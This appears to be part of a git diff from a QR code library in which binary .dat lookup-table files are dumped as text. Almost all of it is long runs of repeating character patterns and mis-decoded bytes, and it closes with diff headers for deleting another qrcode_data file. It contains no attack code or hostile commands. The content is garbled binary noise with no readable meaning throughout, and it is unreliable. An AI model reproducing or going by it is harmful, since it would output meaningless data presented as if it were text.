-MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!      - - - -MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=<9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -MNMNMNMNKLKLKLKLIJIJIJIHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:7876565643434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:5655555643434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:5656565643434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#"!         - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?>;<;<;<;<9:9:9:9:5656565643434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:5656565643434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:5656565643434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:5656555543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:5565656543434343212121210/0/0/.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNKLKLKLKJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%$#"!"!"!"!         MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:656555554343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:565656564343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:565656564343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:987856565656434343432121210/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         MNMNMNMLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856555555434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"!         - - - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>;<;<;<;<7878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         - - - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!       - - - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787865656565434343210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787865555556212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!   - - - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#"!"!"!"! - - - -KLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"! - - - -KLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"! - - - -KLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"! - - - -KLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;:7878787855555565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"! - - - -KLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787865656543212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"! - - - -KLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"! - - - -KLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!  - - - -KLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-,+,+,+*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -11223344((''&&%%aa``__^^\]]^^__` }||{{zzy01122334=<<;;::9pqqrrsstihhggffeWXXYYZZ[LLKKJJIIaabbccdd - - xxwwvvuu5566778888776655uuvvwwxx - - ZZYYXXWW~~55667788$$##""!!]]\\[[ZZ`aabbccd - - yxxwwvvu4556677898877665tuuvvwwx - - eddccbba[\\]]^^_HHGGFFEEeeffgghhttssrrqq99::;;<<44332211yyzz{{|| VVUUOONN99::;;<<YYXXWWVVdeeffggh uttssrrq899::;;<54433221xyyzz{{| a``__^^]_``aabbc !!""DDCCBBAAiijjkkllppoonnmm==>>??@@00//..--}}~~MMLLKKJJ~~}}==>>??@@UUTSRQPOhiijjkklqppoonnm<==>>??@100//..-|}}~~]\\[[ZZYcddeeffg##$$%%&&@@??>>==mmnnooppllkkjjiiAABBCCDD,,++**))IIHHGGFF||{{zzyyAABBCCDDONNMMLLKlmmnnoopmllkkjji@AABBCCD-,,++**)YXXWWVVUghhiioop''(())**<<;;::99qqrrsstthhggffeeEEFFGGHH((''&&%%EEDDCCBBxxwwvvuuEEFFGGHH KJJIIHHGpqqrrsstihhggffeDEEFFGGH)((''&&%UTTSSRRQpqqrrsst++,,--..88776655uuvvwwxx - - ddccbbaaIIJJKKLL$$##""!! AA@@??>>~~}}|ttssrrqqIIJJKKLL - - GFFEEDDCtuuvvwwx - - eddccbbaHIIJJKKL%$$##""! QPPOONNMtuuvvwwx//00112244332211yyzz{{|| ``__^^]]MMNNOOPP !!""##$$==<<;;55|{{zzyyxppoonnmmMMNNOOPP - - CBBAA@@?xyyzz{{| a``__^^]LMMNNOOP!  !!""##$MLLKKJJIxyyzz{{|3344556700//..--}}~~\\[[ZZYYQQRRSSTT%%&&''((44332211xwwvvuutllkkjjiiQQRRSSTT?>>==<<;|}}~~]\\[[ZZYPQQRRSST$%%&&''(IHHGGFFE|}}~~89:;;<<=,,++**))XXWWVVUUUUVVWWXX))**++,,00//..--tssrrqqphhggffeeUUVVWWXX;:987655YXXWWVVUTUUVVWWX())**++,EDDCCBBA=>>??@@A((''&&%%TTSSRRQQYYZZ[[\\~~}}--..//00,,++**))poonmlkjddccbbaaYYZZ[[\\44332211UTTSSRRQXYYZZ[[\~~},--..//0A@@??>>=ABBCCDDE$$##""!! PPOONNMM]]^^__`` ||{{zzyy11223344((''&&%%iihhggff``__^^]]]]^^__``!!""00//..-- QPPOONNM\]]^^__` }||{{zzy01122334=<<;;::9EFFGGHHI !!""##$$LLKKJJIIaabbccdd - - xxwwvvuu55667788$$##""!!eeddccbb\\[[ZZYYaabbccdd##$$%%&&,,++**)) !!""##$MLLKKJJI`aabbccd - - yxxwwvvu4556677898877665IJJKKLLM%%&&''((HHGGFFEEeeffgghhttssrrqq99::;;<<aa``__^^XXWWVVUUeeffgghh''(())**((''&&%%$%%&&''(IHHGGFFEdeeffggh uttssrrq899::;;<54433221~~}}||{MNNOOPQR))**++,,DDCCBBAAiijjkkllppoonnmm==>>??@@]]\\[[ZZTTSSRRQQiijjkkll++,,--..$$##""!!())**++,EDDCCBBAhiijjkklqppoonnm<==>>??@100//..-{zzyyxxwSTUUVVWW~~}}--..//00@@??>>==mmnnooppllkkjjiiAABBCCDDYYXXWWVVPPOONNMMmmnnoopp//001122 ~~},--..//0A@@??>>=lmmnnoopmllkkjji@AABBCCD-,,++**)wvvuuttsXXYYZZ[[ ||{{zzyy11223344<<;;::99qqrrsstthhggffeeEEFFGGHH UUTSRQPOLLKKJJIIqqrrsstt334455;;}||{{zzy01122334=<<;;::9pqqrrsstihhggffeDEEFFGGH)((''&&%srrqqppo\\]]^^__ - - xxwwvvuu5566778888776655uuvvwwxx - - ddccbbaaIIJJKKLL - - ONNMMLLKHHGGFFEEuuvvwwxx<<==>>??yxxwwvvu4556677898877665tuuvvwwx - - eddccbbaHIIJJKKL%$$##""!oiihhggf``aabbccttssrrqq99::;;<<44332211yyzz{{|| ``__^^]]MMNNOOPPKJJIIHHGDDCCBBAAyyzz{{||@@AABBCCuttssrrq899::;;<54433221xyyzz{{| a``__^^]LMMNNOOP! feeddccbddeeffggppoonnmm==>>??@@00//..--}}~~\\[[ZZYYQQRRSSTT GFFEEDDC@@??>>==}}~~DDEEFFGG -qppoonnm<==>>??@100//..-|}}~~]\\[[ZZYPQQRRSSTbaa``__^hhiijklmllkkjjiiAABBCCDD,,++**))XXWWVVUUUUVVWWXX - - CBBAA@@?<<;;::99HHIIJJKK - mllkkjji@AABBCCD-,,++**)YXXWWVVUTUUVVWWX^]]\\[[ZnooppqqrhhggffeeEEFFGGHH((''&&%%TTSSRRQQYYZZ[[\\?>>==<<;88776655LLMMNNOOihhggffeDEEFFGGH)((''&&%UTTSSRRQXYYZZ[[\ZYYXXWWVrssttuuv - - ddccbbaaIIJJKKLL$$##""!! PPOONNMM]]^^__``;:98765544332211UUVVWWXX - - eddccbbaHIIJJKKL%$$##""! QPPOONNM\]]^^__` VUUOONNMvwwxxyyz ``__^^]]MMNNOOPP !!""##$$LLKKJJIIaabbccdd4433221100//..--YYZZ[[\\ a``__^^]LMMNNOOP!  !!""##$MLLKKJJI`aabbccd - - MLLKKJJIz{{||}}~\\[[ZZYYQQRRSSTT%%&&''((HHGGFFEEeeffgghh!!""00//..--,,++**))]]^^__``]\\[[ZZYPQQRRSST$%%&&''(IHHGGFFEdeeffggh IHHGGFFE~XXWWVVUUUUVVWWXX))**++,,DDCCBBAAiijjkkll##$$%%&&,,++**))((''&&%%~~}}||aabbccddYXXWWVVUTUUVVWWX())**++,EDDCCBBAhiijjkklEDDCCBBATTSSRRQQYYZZ[[\\~~}}--..//00@@??>>==mmnnoopp''(())**((''&&%%$$##""!!{{zzyyxxeeffgghhUTTSSRRQXYYZZ[[\~~},--..//0A@@??>>=lmmnnoopA@@??>>= PPOONNMM]]^^__`` ||{{zzyy11223344<<;;::99qqrrsstt++,,--..$$##""!! wwvvuuttiiooppqq QPPOONNM\]]^^__` }||{{zzy01122334=<<;;::9pqqrrsst - - =<<;;554!!""##$$LLKKJJIIaabbccdd - - xxwwvvuu5566778888776655uuvvwwxx//001122 ssrrqqpprrssttuu !!""##$MLLKKJJI`aabbccd - - yxxwwvvu4556677898877665tuuvvwwx 43322110%%&&''((HHGGFFEEeeffgghhttssrrqq99::;;<<44332211yyzz{{||334455;;ooiihhggvvwwxxyy$%%&&''(IHHGGFFEdeeffggh uttssrrq899::;;<54433221xyyzz{{|0//..--,))**++,,DDCCBBAAiijjkkllppoonnmm==>>??@@00//..--}}~~<<==>>??ffeeddcczz{{||}}())**++,EDDCCBBAhiijjkklqppoonnm<==>>??@100//..-|}}~~,++**))(~~}}--..//00@@??>>==mmnnooppllkkjjiiAABBCCDD,,++**))@@AABBCC bbaa``__~~,--..//0A@@??>>=lmmnnoopmllkkjji@AABBCCD-,,++**)!(''&&%%$||{{zzyy11223344<<;;::99qqrrsstthhggffeeEEFFGGHH((''&&%%DDEEFFGG - - - ^^]]\\[[01122334=<<;;::9pqqrrsstihhggffeDEEFFGGH)((''&&%!""##$$%$##""!!xxwwvvuu5566778888776655uuvvwwxx - - ddccbbaaIIJJKKLL$$##""!!HHIIJJKK -  - - ZZYYXXWW4556677898877665tuuvvwwx - - eddccbbaHIIJJKKL%$$##""!%&&''(()ttssrrqq99::;;<<44332211yyzz{{|| ``__^^]]MMNNOOPP LLMMNNOO VVUUOONN899::;;<54433221xyyzz{{| a``__^^]LMMNNOOP! )**++,,-ppoonnmm==>>??@@00//..--}}~~\\[[ZZYYQQRRSSTTUUVVWWXXMMLLKKJJ<==>>??@100//..-|}}~~]\\[[ZZYPQQRRSST-..//001llkkjjiiAABBCCDD,,++**))XXWWVVUUUUVVWWXX~~}}||YYZZ[[\\ IIHHGGFF~~}}|@AABBCCD-,,++**)YXXWWVVUTUUVVWWX12233445 hhggffeeEEFFGGHH((''&&%%TTSSRRQQYYZZ[[\\{{zzyyxx]]^^__`` - - EEDDCCBB|{{zzyyxDEEFFGGH)((''&&%UTTSSRRQXYYZZ[[\~~}5;;<<==> - - ddccbbaaIIJJKKLL$$##""!! PPOONNMM]]^^__`` wwvvuuttaabbccdd  AA@@??>>xwwvvuutHIIJJKKL%$$##""! QPPOONNM\]]^^__` }||{{zzy>??@@AAB``__^^]]MMNNOOPP !!""##$$LLKKJJIIaabbccdd - - ssrrqqppeeffgghh!!""##$$==<<;;55tssrrqqpLMMNNOOP!  !!""##$MLLKKJJI`aabbccd - - yxxwwvvuBCCDDEEF\\[[ZZYYQQRRSSTT%%&&''((HHGGFFEEeeffgghhooiihhggiiooppqq%%&&''((44332211poonmlkjPQQRRSST$%%&&''(IHHGGFFEdeeffggh uttssrrqFGGHHIIJ - - XXWWVVUUUUVVWWXX))**++,,DDCCBBAAiijjkkllffeeddccrrssttuu))**++,,00//..--iihhggffTUUVVWWX())**++,EDDCCBBAhiijjkklqppoonnmJKKLLMMN TTSSRRQQYYZZ[[\\~~}}--..//00@@??>>==mmnnooppbbaa``__vvwwxxyy !--..//00,,++**))eeddccbbXYYZZ[[\~~},--..//0A@@??>>=lmmnnoopmllkkjjiNOOUUVVWPPOONNMM]]^^__`` ||{{zzyy11223344<<;;::99qqrrsstt^^]]\\[[zz{{||}}!""##$$%%&&''(())**++,,-DCCBBAA@ijjkkllmpoonnmml=>>??@@A0//..--,}~~+**))(('~~}}||..//0011??>>==<>==3221100/z{{||}}~_^^]]\\[NOOPPQQR544332215667788987766554uvvwwxxy - - dccbbaa`IJJKKLLM$##""!! &''(())*ssrrqqpp::;;<<==33221100zz{{||}}__^^]]\\NNOOPPQQMMNNOOUUonnmmllk>??@@AAB/..--,,+~[ZZYYXXWRSSTTUUV100//..-9::;;<<=43322110yzz{{||} `__^^]]\MNNOOPPQ *++,,--.oonnmmll>>??@@AA//..--,,~~[[ZZYYXXRRSSTTUUVVWWXXYYkjjiihhgBCCDDEEF+**))(('WVVUUTTSVWWXXYYZ-,,++**)=>>??@@A0//..--,}~~\[[ZZYYXQRRSSTTU.//00112kkjjiihhBBCCDDEE++**))((WWVVUUTTVVWWXXYY~~}}||{{ZZ[[\\]] -gffeeddcFGGHHIIJ'&&%%$$#SRRQQPPOZ[[\\]]^!!""#)((''&&%ABBCCDDE,++**))(XWWVVUUTUVVWWXXY2334455; -ggffeeddFFGGHHII''&&%%$$SSRRQQPPZZ[[\\]]zzyyxxww^^__``aa - cbbaa``_JKKLLMMN#""!!  !!"ONNMMLLK^__``aab#$$%%&&'%$$##""!EFFGGHHI(''&&%%$TSSRRQQPYZZ[[\\]~~}}|;<<==>>? - ccbbaa``JJKKLLMM##""!!  !!OONNMMLL^^__``aa vvuuttssbbccddee_^^]]\\[NOOPPQQR"##$$%%&KJJIIHHGbccddeef'(())**+! IJJKKLLM$##""!!  !POONNMML]^^__``a |{{zzyyx?@@AABBC__^^]]\\NNOOPPQQ""##$$%%KKJJIIHHbbccddee - - rrqqppooffgghhii[ZZYYXXWRSSTTUUV&''(())*GFFEEDDCfgghhiij+,,--../MNNOOPPQ !""##$$%LKKJJIIHabbccdde - - xwwvvuutCDDEEFFG [[ZZYYXXRRSSTTUU&&''(())GGFFEEDDffgghhiiiihhggffooppqqrrWVVUUTTSVWWXXYYZ*++,,--.CBBAA@@?jkkllmmn/0011223QRRSSTTU%&&''(()HGGFFEEDeffgghhitssrrqqpGHHIIJJK - - WWVVUUTTVVWWXXYY**++,,--CCBBAA@@jjkkllmmeeddccbbssttuuvvSRRQQPPOZ[[\\]]^~~}}||{.//00112?>>==<<;nooppqqr34455;;<UVVWWXXY)**++,,-DCCBBAA@ijjkkllmpoonnmmlKLLMMNNO SSRRQQPPZZ[[\\]]~~}}||..//0011??>>==<>??@ YZZ[[\\]~~}}|-..//001@??>>==3221100/z{{||}}~DEEFFGGH - - abbccdde - - xwwvvuut5667788987766554uvvwwxxy - - dccbbaa`\]]^^__`GGFFEEDDffgghhiissrrqqpp::;;<<==33221100zz{{||}}UUOONNMM*++,,--.CBBAA@@?jkkllmmnonnmmllk>??@@AAB/..--,,+~HIIJJKKL effgghhitssrrqqp9::;;<<=43322110yzz{{||} `__^^]]\`aabbccd !!""##CCBBAA@@jjkkllmmoonnmmll>>??@@AA//..--,,~~LLKKJJII.//00112?>>==<<;nooppqqrkjjiihhgBCCDDEEF+**))(('LMMNNOOUijjkkllmpoonnmml=>>??@@A0//..--,}~~\[[ZZYYXdeeffggh$$%%&&''??>>==<>==~~}}||{:;;<<==>3221100/z{{||}}~_^^]]\\[NOOPPQQR]^^__``a uvvwwxxy - - dccbbaa`IJJKKLLM$##""!!  !POONNMMLuvvwwxxy0011223333221100zz{{||}}__^^]]\\NNOOPPQQ""##$$%%<<;;5544{zzyyxxw>??@@AAB/..--,,+~[ZZYYXXWRSSTTUUV~~}}||{abbccdde !!""##$yzz{{||} `__^^]]\MNNOOPPQ !""##$$%LKKJJIIHyzz{{||}44556789//..--,,~~[[ZZYYXXRRSSTTUU&&''(())33221100wvvuuttsBCCDDEEF+**))(('WVVUUTTSVWWXXYYZ{zzyyxxweffgghhi$%%&&''(}~~\[[ZZYYXQRRSSTTU%&&''(()HGGFFEED}~~:;;<<==>++**))((WWVVUUTTVVWWXXYY**++,,--//..--,,srrqqppoFGGHHIIJ'&&%%$$#SRRQQPPOZ[[\\]]^wvvuuttsiooppqqr())**++,XWWVVUUTUVVWWXXY)**++,,-DCCBBAA@>??@@AAB''&&%%$$SSRRQQPPZZ[[\\]]~~}}||..//0011++**))((onmlkjiiJKKLLMMN#""!!  !!"ONNMMLLK^__``aab srrqqpporssttuuv,--..//0TSSRRQQPYZZ[[\\]~~}}|-..//001@??>>==>??@@AA\\[[ZZYYZ[[\\]]^~~}}||{.//00112?>>==<<;nooppqqr^]]\\[[Z~~}<==>>??@)**++,,-DCCBBAA@ijjkkllmpoonnmml=>>??@@A0//..--,zyyxxwwvUUVVWWXX~~}}||..//0011??>>==<>==3221100/z{{||}}~MLLKKJJIuttssrrqHIIJJKKLxwwvvuut5667788987766554uvvwwxxy - - dccbbaa`IJJKKLLM$##""!! ihhggffeaabbccddssrrqqpp::;;<<==33221100zz{{||}}__^^]]\\NNOOPPQQJIIHHGGFjkkllmmnonnmmllk>??@@AAB/..--,,+~IHHGGFFEqppoonnmLMMNNOOPtssrrqqp9::;;<<=43322110yzz{{||} `__^^]]\MNNOOPPQ eddccbbaeeffgghhoonnmmll>>??@@AA//..--,,~~[[ZZYYXXRRSSTTUU - -FEEDDCCBnooppqqrkjjiihhgBCCDDEEF+**))(('EDDCCBBAmllkkjjiPQQRRSSTpoonnmml=>>??@@A0//..--,}~~\[[ZZYYXQRRSSTTUa``__^^]iijklmnokkjjiihhBBCCDDEE++**))((WWVVUUTTVVWWXXYY BAA@@??>rssttuuv -gffeeddcFGGHHIIJ'&&%%$$#A@@??>>=ihhggffeTUUVVWWXlkkjjiihABBCCDDE,++**))(XWWVVUUTUVVWWXXY]\\[[ZZYoppqqrrs ggffeeddFFGGHHII''&&%%$$SSRRQQPPZZ[[\\]]>==<<;;:vwwxxyyz - cbbaa``_JKKLLMMN#""!!  !!"=<<;;554eddccbbaXYYZZ[[\hggffeedEFFGGHHI(''&&%%$TSSRRQQPYZZ[[\\]YXXWWVVUsttuuvvw - - ccbbaa``JJKKLLMM##""!!  !!OONNMMLL^^__``aa98765544z{{||}}~_^^]]\\[NOOPPQQR"##$$%%&43322110a``__^^]\]]^^__`dccbbaa`IJJKKLLM$##""!!  !POONNMML]^^__``a UOONNMMLwxxyyzz{__^^]]\\NNOOPPQQ""##$$%%KKJJIIHHbbccddee33221100~[ZZYYXXWRSSTTUUV&''(())*0//..--,]\\[[ZZY`aabbccd`__^^]]\MNNOOPPQ !""##$$%LKKJJIIHabbccdde - - LKKJJIIH{||}}~~[[ZZYYXXRRSSTTUU&&''(())GGFFEEDDffgghhii!!""##//..--,,WVVUUTTSVWWXXYYZ*++,,--.,++**))(YXXWWVVUdeeffggh\[[ZZYYXQRRSSTTU%&&''(()HGGFFEEDeffgghhiHGGFFEEDWWVVUUTTVVWWXXYY**++,,--CCBBAA@@jjkkllmm$$%%&&''++**))((SRRQQPPOZ[[\\]]^~~}}||{.//00112(''&&%%$UTTSSRRQhiijjkklXWWVVUUTUVVWWXXY)**++,,-DCCBBAA@ijjkkllmDCCBBAA@SSRRQQPPZZ[[\\]]~~}}||..//0011??>>==<>==>==< !!OONNMMLL^^__``aa {{zzyyxx22334455;;::9988rrssttuu,,--..//##""!! "##$$%%&KJJIIHHGbccddeef - - wvvuutts6778899:MLLKKJJIpqqrrsstPOONNMML]^^__``a |{{zzyyx12233445<;;::998qrrssttu - - <;;55443""##$$%%KKJJIIHHbbccddee - - wwvvuutt6677889977665544vvwwxxyy00112233&''(())*GFFEEDDCfgghhiijsrrqqppo:;;<<==>IHHGGFFEtuuvvwwxLKKJJIIHabbccdde - - xwwvvuut5667788987766554uvvwwxxy 3221100/&&''(())GGFFEEDDffgghhiissrrqqpp::;;<<==33221100zz{{||}}4455;;<<*++,,--.CBBAA@@?jkkllmmnonnmmllk>??@@AABEDDCCBBAxyyzz{{|HGGFFEEDeffgghhitssrrqqp9::;;<<=43322110yzz{{||}/..--,,+**++,,--CCBBAA@@jjkkllmmoonnmmll>>??@@AA//..--,,~~==>>??@@~~}}||{.//00112?>>==<<;nooppqqrkjjiihhgBCCDDEEF A@@??>>=|}}~~ZHAbtlJfpvtbdQZf`vXے`JXfpvrXQJ`ۉbdQZ|fH~ˑJtAdf~HےbHf`vXے`JXQtlJnXv`bdQZ|H~fZHAb|ZdQbp˂rrtAJl~f`ے`JXQtArdnXv`|drnvpQr˂pnXv`bHAdrtf`vX|ZdQfpvAZp˂nvpfr˂ptArdfHfdrtA`vXnے`JXQtlJXQJ`ےtdrvXH~r˂p|ZdQbpvntAJlfH~ˑZHAۍf~HZp˂AJltnvpbtlnXv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J`ے~f`˂pZHXv`fbHAZpdrtAJvXnJXQrbpvnJ`ےdQZ|~f`tlJf~HrtAJlvXnہJXQrlJtAQJ`ےQZ|d~f`JXQrf۝`vtbAdZ|6666666666666666666666666666666666666666667 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_0.dat deleted file mode 100644 index b72bdaa..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_0.dat +++ /dev/null @@ -1,289 +0,0 @@ 